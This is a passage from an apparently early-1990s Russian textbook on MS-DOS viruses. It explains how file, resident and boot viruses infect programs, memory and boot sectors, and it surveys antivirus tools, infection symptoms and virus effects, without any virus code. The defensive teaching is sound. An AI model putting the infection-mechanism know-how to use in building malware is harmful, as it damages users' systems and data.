простановку в  поле даты значения 62 секунды у излюбленный признак
для файловых вирусов), можно блокировать его распространение, при-
своив этот  признак всем  заражаемым данным  вирусом файлам.  Этот
прием используется  так называемыми программами-вакцинами (см. ни-
же).
  Вставка тела  вируса при заражении может выполняться не только в
хвост. Код вируса может имплантироваться в начало, конец или сере-
дину файла.
  1) Вставка  в начало  файла. В этом случае первые блоки (или все
тело) заражаемой  программы обычно переписываются в конец, поэтому
до передачи управления зараженной программе вирус должен предвари-
тельно переписать  эти блоки (или все тело) на первоначальное мес-
то, заменив ими собственный код. С этой целью вирус должен переме-
стить свое  тело или хотя бы соответствующую часть своего кода та-
ким образом, чтобы она не была затерта в процессе операции переза-
писи. Некоторые  примитивные вирусы, записываясь в начало заражае-
мого файла,  не сохраняют  его содержимого. При этом, естественно,
зараженный файл  уничтожается, а вирус, получив управление, должен
как- то  замаскировать тот факт, что вызываемая программа является
неработоспособной. Для  этой цели иногда используется какое-нибудь
подходящее сообщение об ошибке.
  2) Вставка в конец файла. При этом необходимо обеспечить переда-
чу управления  коду вируса  до начала работы зараженной программы.
Для файлов  типа COM  это обеспечивается заменой нескольких первых
байтов программы  (обычно трех  в соответствии с размером кода ко-
манды перехода  микропроцессора 8088/8086)  на команду  перехода к
началу вируса  (инсталлятору). При  этом сами  первые байты обяза-
тельно должны быть сохранены где-то в теле вируса, что обеспечива-
ет возможность их восстановления (операция поиска этих трех байтов
является составной  частью работы  любого фага). Когда инсталлятор
вируса получает  управление, то  обычно в  начале своей  работы он
восстанавливает измененные вирусом байты в первоначальном виде.
  3) Вставка  в середину файла. Этот способ заражения файла встре-
чается редко.  Во-первых, этот способ используется узкоспециализи-
рованными вирусами,  поражающими определенный класс программ, осо-
бенности структуры  которого заранее  известны,  например,  только
файл СOMMAND.COM.  Примером такого  вируса может служить вирус RC-
346 (Lehigh). Во-вторых, и это гораздо более частый случай, встав-
ка в  середину возможна  для обычных  вирусов, цепляющихся к концу
EXE-файл, если  в заголовке  этого файла  неправильно указана  его
длина,  т.е.  часть  файла  используется  в  качестве  буфера  или
неявного оверлея, как например, в головном модуле системы FOXBASE.
В этом случае вирус считает, что файл имеет длину, указанную в за-
головке, и  записывает свой  код в область буфера или оверлея. При
этом он  оказывается в  середине действительно  занимаемого данной
программой файла.  В-третьих, файл  может быть заражен несколькими
вирусами, однотипно  заражающими файл  (обычно дописывающими  свой
код в  конец файла). В этом случае, вирус первым заразивший данный
файл, оттесняется  к середине файла последующими вирусами. Являясь
сравнительно редкими,  указанные случаи довольно часто не учитыва-
ются создателями  антивирусных программ, в частности, детекторов и
фагов, которые  увлекаясь оптимизацией  времени  выполнения  своих
программ, принимают неправильные допущения о расположении кода ви-
руса в  теле зараженной программы. В результате файл может быть не
детектирован как зараженный или вылечен неправильно.

          2.4.2. Структура файлового резидентного вируса

  Для понимания функционирования файлового вируса необходимо неко-
торое знакомство с системой прерываний компьютера типа IBM PC. Ми-
нимальные необходимые сведения приводятся в приложениях 8 и 9.
  Файловые резидентные  вирусы, помимо отдельных файлов, заражают,
если так можно выразиться, и память компьютера. Предельно упрощая,
память компьютера  можно рассматривать  как еще один файл, который
можно заражать, дописываясь "в голову", т.е. в область младших ад-
ресов свободного участка памяти, "в хвост", т.е. в область старших
адресов свободного  участка памяти и наконец, "в середину", т.е. в
область адресов, уже используемых операционной системой или какой-
нибудь программой  (старшие адреса  вектора прерываний,  буфера  и
т.д.).
  Вместе с  тем, структура резидентного вируса существенно отлича-
ется от  структуры нерезидентного  вируса. Резидентный вирус можно
представлять как  состоящий из  двух относительно независимых час-
тей: инсталлятора и модуля обработки прерываний. Последний, в свою
очередь, состоит  из ряда  программ обработки.  Несколько упрощая,
можно считать, что на каждое перехватываемое прерывание приходится
своя программа обработки.
  Инсталлятор получает  управление при  выполнении зараженной про-
граммы и играет роль своеобразной ракеты-носителя, запускающей ви-
рус на  орбиту, т.е.  в оперативную  память. Он  отрабатывает один
раз у после  запуска зараженной программы и его целесообразно рас-
сматривать как  специализированный файловый вирус, заражающий опе-
ративную память и, возможно, обычные файлы. В последнем случае ин-
сталлятор можно  рассматривать как доработанный для заражения опе-
ративной памяти файловый вирус. Структуру инсталлятора можно упро-
щенно представить следующим образом:
  Шаг 1: Проверить версию MS DOS
  Шаг 2: Восстановить измененные байты зараженной программы.
  Шаг 3: Проверить зараженность  оперативной памяти.  Если  память
заражена, то  передать управление  программе-вирусоносителю, иначе
перейти к шагу 4.
  Шаг 4: Закрепиться в  оперативной памяти. Переписать свое тело в
заданный участок оперативной памяти и выполнить некоторые действия
по закреплению этого участка за собой.
  Шаг 5: Перехватить требуемые прерывания. Заменить адреса в соот-
ветствующих элементах  вектора прерываний на адреса своих программ
обработки.
  Шаг 6: Передать управление зараженной программе.
  Приведем некоторые  пояснения к  упрощенной  схеме  инсталлятора
файлового вируса. На шаге 3 инсталлятор, подобно обычному файлово-
му вирусу,  каким-то образом  определяет зараженность  оперативной
памяти. Эта  проверка может выполняться самыми разнообразными спо-
собами. Одним из наиболее распространенных является введение неко-
торого нового прерывания или функции существующего прерывания. Ин-
сталлятор выдает это прерывание, и получаемый ответ, например 5555
в регистре AX, играет роль сигнала "память заражена" и "память еще
не заражена", своеобразный аналог 62 секунд для нерезидентных фай-
ловых вирусов.  Второй способ  состоит в сканировании памяти и по-
иске сигнатуры,  характерной для данного вируса. Поиск может начи-
наться с определенной, характерной точки, например, с адреса пере-
хватываемого вирусом  прерывания (обычно 21). Могут быть использо-
ваны и другие способы или их комбинация.
  Если проверка показала, что память еще не заражена, то на шаге 4
вирус выполняет ее заражение. Как уже указывалось, заражение может
производиться как путем записывания тела вируса на участок свобод-
ной памяти, так и "вписыванием" тела в уже используемый участок. В
первом случае  вирус должен обеспечить резервирование этой памяти,
чтобы она  не была  затерта другими программами. Простейшие вирусы
выполняют это  с помощью функций 21-31 или 27 MS DOS. Такие вирусы
видны при  просмотре списка  резидентных программ  утилитами  типа
MAP, MEMANAL  и т.д. Более сложный способ предполагает манипуляцию
с цепочкой блоков MCB (см. прил.7): вирус сам создает дополнитель-
ный блок MCB для захваченного участка памяти.
  После закрепления в оперативной памяти инсталлятор выполняет так
называемый перехват  прерываний у обеспечение  передачи управления
модулям вируса, обрабатывающим соответствующие прерывания. Это мо-
жет делаться  "в лоб",  т.е. путем  использования  соответствующих
функций MS  DOS или  "с черного  хода" у  нестандартным  способом,
обеспечивающим, в  общем случае, более высокую степень маскировки.
При любом способе конечный эффект состоит в том, что при возникно-
вении определенного  прерывания вирусу будет передаваться управле-
ние. При этом вирус может содержать дополнительный механизм, обес-
печивающий то, что он будет получать управление всегда первым. Та-
кие резидентные вирусы будем называть всплывающими. Всплытие помо-
гает вирусу  обходить простейшие  программы-сторожа, основанные на
перехвате тех же прерываний, поскольку они будут получать управле-
ние после  вируса. Этот способ использует, в частности, вирус RCE-
1800 (Эдди).  Отсюда следует,  что анализ  списка резидентных про-
грамм и  объема памяти, сообщаемого MS DOS, является весьма полез-
ным диагностическим приемом, применимым как при анализе многих ре-
зидентных файловых вирусов, так и при анализе бутовых вирусов. Су-
ществует целый ряд программ, выдающих список резидентных программ.
Автор рекомендует  использовать для  этой цели  программу RELEASE,
которая являясь  резидентной, не  только позволяет  получить  этот
список в любой момент, но дает возможность снять ненужные резиден-
тные программы. Сведения об объеме оперативной памяти (установлен-
ной и  свободной) проще всего получить с помощью программы CHKDSK,
вxодящей в MS DOS (она также выдает очень важные сведения об объе-
ме памяти,  занятой сбойными кластерами, и количестве скрытых фай-
лов), хотя  имеется целый ряд других программ с аналогичными функ-
циями (SMAP,  MEMANAL, MEMSTAT  и др).  В случае наличия опасности
заражения  вирусом   полезно  включить   вызов   CHKDSK   в   файл
AUTOEXEC.BAT, а за ним поместить строку с данными, которые получе-
ны при загрузке на незараженной системе, например:

c:\dos\chkdsk
echo ПРОВЕРЬТЕ СООТВЕТСТВИЕ ПОЛУЧЕННЫХ ЗНАЧЕНИЙ ЭТАЛОННЫМ !
echo 188416 in 8 hidden, 61440 in bad, 655360 totalmem, pause
515424 free memory

  Функционирование резидентного файлового вируса можно представить
как две  стадии: стадию инсталляции и стадию слежения. При запуске
зараженной  программы  управление  получает  инсталлятор,  который
обеспечивает закрепление  вируса в  оперативной  памяти,  перехват
требуемых прерываний  и, возможно,  маскировку (с целью затруднить
свое обнаружение  среди резидентных программ). Эта фаза работы ре-
зидентного вируса получила название фазы инсталляции. В дальнейшем
каждый раз  при возникновении одного из перехваченных вирусом пре-
рываний управление получает один из модулей обработки соответству-
ющего прерывания.  При этом  вирус может анализировать поступивший
запрос и,  в зависимости от его вида, выполнять те или иные дейст-
вия. Например, загрузка программы в оперативную память и ее выпол-
нение в  MS DOS реализованы с помощью прерывания 21-2B. Если вирус
перехватывает это прерывание, то он может определить имя файла, из
которого выполняется загрузка, и заразить программу в этом файле.
  Следует также отметить, что способ поиска "жертвы" у резидентных
вирусов существенно  отличается от  способа, используемого нерези-
дентными вирусами.  Нерезидентные вирусы получают управление после
загрузки в  память зараженной программы, а затем ищут файл-жертву,
используя параметры PATH, СOMSPEC или другую информацию о располо-
жении выполняемых  программ. Если жертва найдена, то она заражает-
ся, а затем управление возвращается зараженной программе. Резиден-
тные вирусы реагируют на определенные прерывания. Получив управле-
ние после перехваченного прерывания, они выполняют соответствующие
действия. Как  уже указывалось, обычно резидентные файловые вирусы
выполняют заражение  запускаемых программ  (по прерыванию  21-4B),
однако наиболее инфицирующие из резидентных вирусов заражают файлы
при их  открытии или  чтении. Например, вирус RCE-1800, кроме ука-
занных действий  перехватывает и  прерывания по чтению, заражая, в
частности, оба  файла, копируемые командой COPY, если хотя бы один
из них имеет расширение ЕХЕ или СОМ.

                 2.4.3. Структура бутового вируса

  Бутовые вирусы являются весьма специализированной разновидностью
резидентных файловых  вирусов. Упрощенно бутовый вирус можно пред-
ставить себе как специализированный резидентный вирус, который за-
ражает единственный  "файл" у загрузочный сектор гибкого или жест-
кого диска. Четкой границы между резидентными файловыми вирусами и
бутовыми вирусами  не существует: в последнее время появились гиб-
риды, сочетающие  заражение файлов  с заражением бутсектора винче-
стера. Это  подчеркивает близость  основных принципов  организации
этих двух типов вирусов.
  Этот тип вирусов распространяется, инфицируя дискеты, причем как
загружаемые (т.е.  содержащие копию  MS DOS),  так и незагружаемые
(т.е. содержащие любую информацию). Заражение незагружаемых дискет
связано с  определенным психологическим расчетом, который, к сожа-
лению, слишком  часто оправдывается: при перезагрузке MS DOS поль-
зователи обычно  забывают проверить, вставлена ли дискета в диско-
вод A,  и часто перезагрузка выполняется с вставленной в указанный
дисковод дискетой, с которой вирус и попадает на винчестер.
  Инфицированная дискета  всегда содержит часть кода вируса в бут-
секторе, поэтому  бутовые вирусы  легко обнаружить.  При просмотре
бутсектора дискеты на незараженном компьютере легко видеть измене-
ния загрузчика  (дамп стандартного  бутсектора приведен в прил.6).
Структура стандартного  загрузчика лишь  незначительно меняется от
версии к  версии MS DOS, поэтому изменения легко выявить визуально
(особенно первых  трех байтов,  содержащих команду  JMP на  начало
загрузчика) или  с помощью  подходящей программы (Scan, Aidstest и
др.). Такая  проверка должна  обязательно проводиться для всех по-
ступающих дискет.
  Как уже  указывалось, файловые  вирусы обычно  состоят из одного
сегмента. Впрочем,  первую команду JMP, подставляемую большинством
файловых вирусов,  дописывающих свое тело в конец COM-файла, можно
рассматривать как вырожденный сегмент. Бутовый вирус всегда состо-
ит из  нескольких сегментов. Обычно таких сегментов два и мы будем
называть их головой и хвостом.
  Положение головы бутового вируса на дискете определено однознач-
но: она  всегда расположена  в бутсекторе и занимает ровно сектор.
На винчестере ситуация немного сложнее: голова бутового вируса мо-
жет располагаться в одном из его двух бутсекторов - главном (MBR -
Master Boot  Record, расположенный по абсолютному дисковому адресу
0/0/1) или бутсекторе логического диска С, обычно занимающего пер-
вый сектор  соответствующего логического  диска. Для наиболее рас-
пространенных 40 M  винчестеров это  обычно абсолютный  сектор  18
(при 17 секторах на трек его адрес равен 1/0/1).
  Хвост бутового  вируса может  располагаться в разных местах, на-
пример: кластерах, отмеченных на диске как сбойные и тем самым ис-
ключенных из  дальнейшего распределения  (псевдосбойные кластеры);
последних физических  секторах дискеты  или винчестера,  поскольку
они обычно всегда свободны (например, 40/39/8 для обычных 360К ди-
скет); в  неиспользуемых блоках  FAT, главного каталога или одного
из подкаталогов;  дополнительных дорожках  дискеты или  винчестера
(41 и последующие дорожки для 360К дискет).
  В любом случае хвост вируса должен содержать копию оригинального
бутсектора, и если она хранится не в закодированном виде, то поло-
жение хвоста  в большинстве  случаев можно  определить  глобальным
контекстным поиском по дискете или винчестеру (исключением являет-
ся случай  использования для хвоста дополнительных дорожек на дис-
кете или  винчестере). В минимальном варианте хвост может состоять
только из одного сектора с оригинальным бутсектором.
  Для всех  бутовых вирусов механизм заражения однотипен. Когда MS
DOS загружается с зараженного диска, бутовый вирус получает управ-
ление и  сначала копирует  себя в  старшие адреса памяти. Затем он
уменьшает размер памяти, заменяя значение вектора прерываний A2h с
тем, чтобы  защитить резидентную  часть вируса, и 13h с тем, чтобы
перехватывать обращения  к диску. Таким образом, при любом обраще-
нии к  диску управление  получает обработчик этого прерывания, со-
ставляющий основную  часть тела  вируса. После этих действий вирус
запускает  стандартный   системный  загрузчик,  который  загружает
IBMBIO.COM и  IBMDOS.COM (или IO.SYS и MSDOS.SYS), т.е. происходит
стандартная загрузка системы.
  Получив управление  по прерыванию  по чтению, вирус анализирует,
относится ли  оно к  дискете или к винчестеру. Если это прерывание
относится к дискете, то сначала вирус проверяет, заражена уже дан-
ная дискета  или нет. Для этой цели считывается бутсектор и прове-
ряется его  содержимое. Если дискета еще не заражена, то вирус за-
ражает дискету,  а затем обрабатывает команду READ. В случае, если
дискета уже  заражена, вирус  сразу переходит  к обработке команды
READ; так же он поступает в случае, если дискета защищена от запи-
си.
  Что касается  места, в  котором бутовый вирус прячет свой хвост,
то как  было отмечено  выше, оно  различается от  вируса к вирусу.
Наиболее часто  бутовые вирусы  размещают свой  хвост в  свободном
кластере(ах), который помечается как сбойный. Последнее необходимо
для того,  чтобы занятый  вирусом кластер(ы) не был использован MS
DOS при создании нового файла и вместе с тем является неплохим ме-
тодом маскировки, поскольку пользователи обычно плохо представляют
структуру диска  и не  следят за  количеством сбойных кластеров на
нем.
  Еще раз подчеркнем, что бутовые вирусы инфицируют любые дискеты,
а не только системные. Как уже указывалось, это связано с тем, что
с несистемной  дискеты также может выполняться попытка загрузки MS
DOS. Чаще  всего такая ситуация возникает после зависания операци-
онной системы.  Если при  перезагрузке инфицированная дискета ока-
жется в "готовом" дисководе А, то естественно, загрузка будет сна-
чала выполняться с нее. В этом случае программа начальной загрузки
считывает зараженный  ВООТ и передает ему управление. Вирус загру-
жает себя в оперативную память и имитирует сообщение, выдаваемое в
этом случае стандартным загрузчиком:

                        Non system disk

  При этом, если пользователь откроет дисковод с дискетой и нажмет
клавишу Enter  (Ввод), то вирус останется в памяти, заразит винче-
стер и  в дальнейшем будет заражать все вставляемые дискеты, к ко-
торым производится  хотя бы  одно  обращение  (достаточно  команды
DIR). Все бутовые вирусы перехватывают 13 прерывание (см. прил. 8)
и поэтому обычно конфликтуют с драйверами, поддерживающими нестан-
дартные форматы (например, 720 K). В лучшем случае при этом проис-
ходит зависание  системы или выдача сообщения о делении на нуль. В
худшем случае  операционная система  остается работоспособной,  на
дискету что-то  пишется, но  потом ничего  прочитать с нее нельзя.
Особое внимание  стоит обратить на тот факт, что некоторые бутовые
вирусы перехватывают  прерывание с  клавиатуры и  могут пережить в
оперативной памяти  мягкую перезагрузку  (т.е. перезагрузку  с по-
мощью нажатия клавиш Ctrl-Alt-Del). Из выявленных в CCCР вирусов к
этому типу относится вирус WM-1F (Joshy).
  Как уже  отмечалось, голова  бутового вируса  всегда находится в
бутсекторе и для контроля дискет на зараженность можно просто про-
смотреть содержимое бутсектора. В целом даже это не является необ-
ходимым. Поскольку  подавляющее большинство дискет не является за-
гружаемыми, можно  профилактически разрушать содержимое бутсектора
таких дискет.  В частности, там можно хранить информацию о времени
и источнике  получения дискеты или какие-то указания по ее исполь-
зованию. Достаточно  разрушить первые  три байта бутсектора, чтобы
нейтрализовать любой  бутовый вирус.  Это можно  сделать с помощью
программ Norton  Utilitis, PC Tools и DEBUG. Для профилактического
разрушения бутсектора  можно использовать специальную утилиту, на-
пример, DEBOOT В.Пономаренко.
  Следует отметить,  что число известных чисто бутовых вирусов на-
много меньше,  чем файловых и, кроме того, скорость их размножения
ниже (число дискет заведомо меньше, чем количество файлов на них).
В целом,  заражение "чистым"  бутовым вирусом  является  признаком
беспечности и недостаточной квалификации пользователя в значитель-
но большей степени, чем заражение файловым вирусом. При соблюдении
приведенных выше несложных рекомендаций его можно полностью исклю-
чить.

                    2.5. Панацеи не существует
               (общая классификация средств защиты)

                                        "Специалист подобен флюсу,
                                         полнота его одностороння"
                                                    Козьма Прутков

  Операционная система MS DOS, отличающаяся практически полным от-
сутствием защиты от несанкционированных действий, облегчает разра-
ботку компьютерных  вирусов. Однако важно понимать, что компьютер-
ные вирусы не являются программами, использующими ошибки или недо-
статки конкретной  операционной системы.  Для  обеспечения  своего
функционирования вирусу  достаточно лишь нескольких вполне обычных
операций, используемых  большинством нормальных  программ. Поэтому
принципиально не  может существовать универсальный метод, защищаю-
щий операционную  систему от распространения любого вируса. Тем не
менее, можно существенно затруднить задачу создания вируса, приме-
няя специальные методы как в самой операционной системе, так и ис-
пользуя дополнительные  резидентные и нерезидентные средства защи-
ты.
  Простейшим средством защиты от вируса является программа, позво-
ляющая составить список зараженных программ. Мы будем называть та-
кую программу детектором. В качестве детектора могут использовать-
ся и имеющиеся программы, способные выполнять поиск строки в файле
или, желательно, в файлах на заданном диске или каталоге. Детектор
может быть  и резидентным.  В этом случае после загрузки программы
он проверяет ее на зараженность и, только если вирус не обнаружен,
передает ей управление.
  Вторым и  наиболее распространенным  средством защиты от вирусов
являются так  называемые фаги у программы, "выкусывающие" вирус из
зараженной программы  и тем  самым восстанавливающие  ее  в  виде,
близком к  первоначальному. Операция  выкусывания не всегда бывает
успешной. Фаги  также могут быть резидентными, однако из-за значи-
тельного объема резидентные фаги встречаются редко.
  Третьим видом  антивирусных программ  являются резидентные  про-
граммы, контролирующие  подозрительные действия  запускаемых  про-
грамм и  блокирующие их либо "молча", либо выдавая сообщение поль-
зователю, который  может разрешить  действие или  запретить (в по-
следнем случае  программа, предпринявшая  опасное действие,  может
закончиться аварийно).  Будем называть  такие программы сторожами.
При этом дисковые драйверы, обеспечивающие возможность сегментации
винчестера и  присваивания отдельным  разделам статуса  READ ONLY,
можно рассматривать как специальную разновидность сторожей.
  Четвертый тип у  это  программы-ревизоры,  которые  подсчитывают
контрольные суммы и другие параметры файлов и сравнивают их с эта-
лонными. Последние  обычно хранятся  в отдельном  файле. Этот  вид
контроля представляется  наиболее надежным,  т.к. при отсутствии в
оперативной памяти резидентного компьютерного вируса позволяет вы-
явить все  измененные программы  независимо от  причины, вызвавшей
эти изменения.  Подобно остальным  типам программ  ревизоры  могут
быть резидентными. Последние загружают в память программу, подсчи-
тывают ее  контрольную сумму  и, если она совпадает с записанной в
специальном поле файла или элемента каталога данного файла, то пе-
редают ей  управление. В противном случае выдается предупреждающее
сообщение, и  выполнение программы  блокируется. Следует отметить,
что если записать зараженную программу в файловую систему, все ос-
тальные файлы  которой систематически контролируются ревизором, то
наличие вируса  может быть  выявлено по  заражению других программ
для большинства,  но не для всех типов вирусов. Поэтому очень важ-
но, чтобы  в момент запуска программы-ревизора было достоверно из-
вестно, что  в оперативной  памяти нет  резидентного вируса. Этого
можно достичь, загрузившись с эталонной, защищенной от записи, ди-
скеты или  разместив все компоненты операционной системы в разделе
винчестера, имеющего статус READ ONLY. Более подробно вопросы при-
менения антивирусных средств рассмотрены в главе 10.
  И, наконец,  наиболее изощренным типом антивирусных программ яв-
ляются так  называемые вакцины.  Подобно естественным вакцинам они
изменяют среду функционирования вируса таким образом, что он теря-
ет способность к размножению. Вакцины могут быть пассивные или ак-
тивные.
  Пассивная вакцина представляет собой пакетную программу, которая
за один вызов обрабатывает специальным образом файл или  все файлы
на диске либо в каталоге. Обычно при такой обработке проставляется
признак, который  вирус использует  для того, чтобы отличить зара-
женные программы от незараженных. Например, некоторые вирусы допи-
сывают в  конец зараженных  файлов  определенную  строку  (скажем,
"MsDos"). Если  искусственно дописать  в конец  всех программ  эту
строку, то  такие программы не будут заражаться вирусом, поскольку
он будет считать, что они уже заражены. Обработанная таким образом
программа является  вакцинированной против  данного вируса, причем
операция вакцинации  является обратимой: когда опасность заражения
будет ликвидирована,  строку можно из файла удалить. Другие вирусы
проставляют в  поле даты заражаемых программ значение секунд, рав-
ное 62 (MS DOS допускает запись такого явно нереального значения).
Вакцина может проставить этот признак у всех выполняемых программ,
которые тем самым будут защищены от заражения данным типом вируса.
В этом  случае вакцинирование  является необратимым  в том смысле,

что восстановить  первоначальное значение  секунд не удастся, хотя
они, конечно, могут быть сброшены.
  Активные вакцины являются резидентными программами, действие ко-
торых обычно основано на имитации присутствия вируса в оперативной
памяти. Поэтому они обычно применяются против резидентных вирусов.
Если такая  вакцина находится в памяти, то когда при запуске зара-
женной программы  вирус проверяет,  находится ли уже в оперативной
памяти его  копия, вакцина  имитирует наличие копии. В этом случае
вирус просто  передает управление программе-хозяину, и его инстал-
ляция не  происходит. Простейшие  вакцины представляют собой выде-
ленный и слегка модифицированный (лишенный способности к размноже-
нию) вирус.  Поэтому они  могут быть оперативно изготовлены, быст-
рее, чем  программы-фаги. Более сложные вакцины (поливакцины) ими-
тируют наличие в оперативной памяти нескольких вирусов.
   Конечно,  приведенный список  не исчерпывает всего многообразия
антивирусных программ,  хотя и  охватывают основные их разновидно-
сти. Каждая  из антивирусных программ подобна узкому специалисту в
определенной области,  поэтому оптимальной тактикой является комп-
лексное применение  нескольких типов  антивирусных средств.  Более
подробно вопросы  применения антивирусных  средств  рассмотрены  в
главе 10. Список отечественных антивирусных средств, распространя-
емых бесплатно и опубликованных в бюллетене СОФТПАНОРАМА, приведен
в прил. 5.

             2.6. Жизненный цикл компьютерных вирусов

                                  "Где начало того конца,         
                                   которым  оканчивается начало ?"
                                                    Козьма Прутков

  Следует различать два основных действия (фазы), выполняемые ком-
пьютерным вирусом:  размножение и  проявление. Размножение  обычно
является первым  и обязательным  действием вируса при получении им
управления. Фаза проявления, на которой выполняются несанкциониро-
ванные   действия, может  чередоваться с  размножением, начинаться
через определенный  (инкубационный) период или при сочетании неко-
торых условий.  Она может  заключаться в изощренных визуальных или
звуковых эффектах,  включать или исключительно состоять из нанесе-
ния повреждений  файловой системе. Повреждения могут быть массиро-
ванными, когда  например, стирается  FAT и другие системные блоки,
или наоборот,  распределенными, когда  довольно часто  выполняются
небольшие, трудно  обнаруживаемые повреждения. У ряда вирусов фаза
проявления отсутствует, т.е. помимо размножения они никаких несан-
кционированных действий  не выполняют.  В то же время, любой вирус
обладает рядом  побочных эффектов,  которые не  были предусмотрены
при создании  вируса, но которые фактически относятся к его прояв-
лениям. Наиболее  частым побочным эффектом является зависание опе-
рационной системы  или потеря  работоспособности  некоторых  (чаще
всего резидентных) программ. Другим важным побочным эффектом явля-
ется появление  некоторых  "необъяснимых"  сообщений  операционной
системы. Например, если при попытке запуска программы с защищенной
дискеты появлется   хорошо знакомое любому пользователю MS DOS со-
общение Abort, Retry..., то это должно настораживать.
  Наряду с  указанными действиями, вирус может обладать определен-
ной латентной  фазой, в течение которой никаких действий по своему
размножению или  проявлению не предпринимается. Латентная фаза мо-
жет быть  обусловлена определенным  временным периодом  (например,
определенным месяцем  или годом),  конфигурацией (например,  вирус
может активизироваться  только при попадании на винчестер) или ап-
паратными особенностями (например, только на клонах IBM PC).

  Длина пути от первоначально зараженной программы до программы, в
которой этот  вирус был  впервые обнаружен,  может  быть  довольно
большой. Практика показывает, что обычно в качестве первичного но-
сителя вируса  выступает популярная  игровая программа  или  новая
версия популярного  программного продукта.  Вопросы  использования
программных средств, затрудняющих или делающих невозможным размно-
жение вируса, рассматриваются ниже.

                   2.7. Среда обитания вирусов

  Как уже  указывалось выше,  структурно компьютерный  вирус можно
представить состоящим из двух частей: головы и хвоста.
  Поскольку голова  вируса так  или иначе должна получить управле-
ние, "среда  обитания" головы  компьютерного вируса может распола-
гаться только в прямо или косвенно исполняемых программах. Не сле-
дует бояться,  что вирус  может быть  перенесен через файл данных.
Применительно к  MS DOS  для  получения  управления  вирус  должен
встроить свою  голову в:  загрузочные модули, такие как СOM-файлы,
EXE-файлы, оверлейные фазы сегментированных программ (это наиболее
распространенный случай  и соответствующий тип вирусов будем назы-
вать файловыми);  бутсектор (этот  случай также встречается доста-
точно часто  и соответствующие  вирусы будем  называть  бутовыми);
таблицу разделов  винчестера (Partition  Table), в  начале которой
содержится так называемый Master Boot (фактически это частный слу-
чай предыдущего  и такая  стратегия заражения может использоваться
только применительно к винчестеру, т.е. комбинироваться с предыду-
щей);   драйвер; объектный  модуль; библиотеку  компилятора;  BAT-
файл; исходный текст программы на алгоритмическом языке (в расчете
на его  компиляцию); промежуточный  код некоторого достаточно рас-
пространенного  интерпретируемого   языка,  например   dBASE   или
CLIPPER. Поэтому необходим постоянный контроль за целостностью ин-
формации, содержащейся в элементах перечисленных типов. Проще все-
го этот контроль выполнять с помощью специальной программы-ревизо-
ра.
  Что касается  места, где вирус может расположить свою голову, то
для существующих вирусов характерны следующие: область стека неко-
торой системной  программы (RC-0-346);  начало, конец или середина
исполняемого файла; бутсектор; MBR.
  Поскольку хвост вируса не должен получать управление непосредст-
венно, количество мест его расположения существенно больше и здесь
многое зависит  от изобретательности  автора вируса. Сегментация в
настоящее время  характерна только для бутовых вирусов, и примени-
тельно  к  ним  можно  отметить  следующие  варианты  расположения
хвоста: один  или группа  кластеров, помеченных как сбойные (самый
распространенный вариант);  неиспользуемые блоки  нулевой  дорожки
винчестере после MBR; неиспользуемые блоки системных таблиц, таких
как FAT,  главный каталог  или один из подкаталогов и т.д.; специ-
ально созданный  файл с  атрибутами HIDDEN  и/или SYSTEM; "хвосты"
последних, заполненных  частично, кластеров  имеющихся файлов (на-
пример, системных); "дополнительные" дорожки на дискете или винче-
стере (например, 40 и более старшие дорожки дискеты).
  Для файловых вирусов сегментация может использоваться для разме-
щения хвоста  в неиспользуемых секторах последнего кластера файла,
однако такой  способ в настоящее время применяется только в вирусе
RC-0-512 и,  как оказалось, обладает существенными недостатками. В
частности, команда COPY MS DOS не копирует информацию из неисполь-
зуемых секторов  последнего кластера. В результате при копировании
зараженного файла  хвост вируса теряется и скопированная программа
становится неработоспособной.

                     2.8. Симптомы заражения

                               "Если на клетке слона прочтешь над-
                               пись"буйвол", не верь глазам своим"
                                                    Козьма Прутков

  Существуют определенные  признаки, указывающие на поражение про-
граммы или  диска вирусами. Помимо очевидных, связанных с демонст-
рационным эффектом,  характерным для  данного вируса,  к ним можно
отнести   следующие:   изменение   длины   командного   процессора
(COMMAND.COM); выдача  сообщений типа WRITE PROTECT ERROR при чте-
нии информации,  при загрузке программ с защищенных от записи дис-
кет; изменение  длины и/или даты создания программы (их рекоменду-
ется просматривать с помощью Norton Commander или другой оболочки,
непосредственно интерпретирующей  содержимое каталогов); программа
выполняется медленнее,  чем обычно;  возрастание времени загрузки,
зацикливание при  загрузке; необъяснимые  обращения к дискетам или
файлам на  защищенных разделах винчестра; потеря работоспособности
некоторых резидентных программ или драйверов; аварийное завершение
ранее нормально функционировавших программ; необъяснимые зависания
или перезагрузки  системы; уменьшение  объема системной памяти или
свободной памяти  после загрузки. Резкое уменьшение доступной дис-
ковой памяти,  хотя файлы не добавлялись и не удалялись; появление
новых сбойных  кластеров, дополнительных скрытых файлов или других
изменений файловой  системы (выявляются запуском CHKDSK или другой
подходящей утилиты);
  Конечно, приведенные признаки носят эвристический характер и мо-
гут наблюдаться  на "здоровых" компьютерах по причинам, совершенно
не связанным с вирусами. Тем не менее, появление каких-то аномалий
должно сразу настораживать пользователя. Если после перезагрузки с
защищенной дискеты  некоторые из  этих признаков исчезают, то есть
смысл провести  более или менее полное тестирование с помощью про-
граммы ревизора (только не при загруженной с винчестера и возможно
зараженной операционной  системе), а  также визуально сравнить со-
держимое бутсектора и таблицы разделов с эталонными. Полезно также
просмотреть дамп  программы (с  помощью Norton Commander, PC Shell
или другой подходящей утилиты). Если в конце программы имеются по-
дозрительные текстовые  строки или, наоборот, нет ни одной тексто-
вой строки,  то такая программа заслуживает дополнительного иссле-
дования.

                 2.9. Вызываемые вирусами эффекты

                                 "Однажды мои соседи обнаружили   
                                 у себя в квартире странные явле- 
                                 ния: каждую ночь что-то упорно   
                                 шелестело в мусорном ведре, и    
                                 каждое утро отходы обнаруживались
                                 в самых не подходящих местах.    
                                 Стали исчезать картошка, лук...  
                                 Крысы! - мелькнула догадка."     
                                          Газета "Красная Пресня",
                                                    апрель 1990 г.

  Как уже  указывалось, компьютерные вирусы являются одной из раз-
новидностей компьютерного  вандализма. Вызываемые вирусами эффекты
могут быть классифицированы по следующим основным категориям:
  1) отказ в выполнении той или иной функции (например, блокирова-
ние вирусом RС-1701 загрузки программы с защищенной от записи дис-
кеты);
  2) выполнение действий, не предусмотренных программой (например,
изменение данных в каком-то файле);
  3) разрушение отдельных файлов, управляющих блоков или всей фай-
ловой системы  в целом  (форматирование диска,  удаление  файла  и
т.д.);
  4) выдача  ложных,   раздражающих  или   отвлекающих   сообщений
(например, "Скажи бебе" или "Non system disk");
  5) создание звуковых  или визуальных эффектов (например, падение
букв в  вирусе RС-1701,  замедление выполнения  программ в  вирусе
RСЕ-1813, проигрывание  мелодии в  RCE-1805, движущийся  на экране
ромбик в Bx1-1C и т.д.);
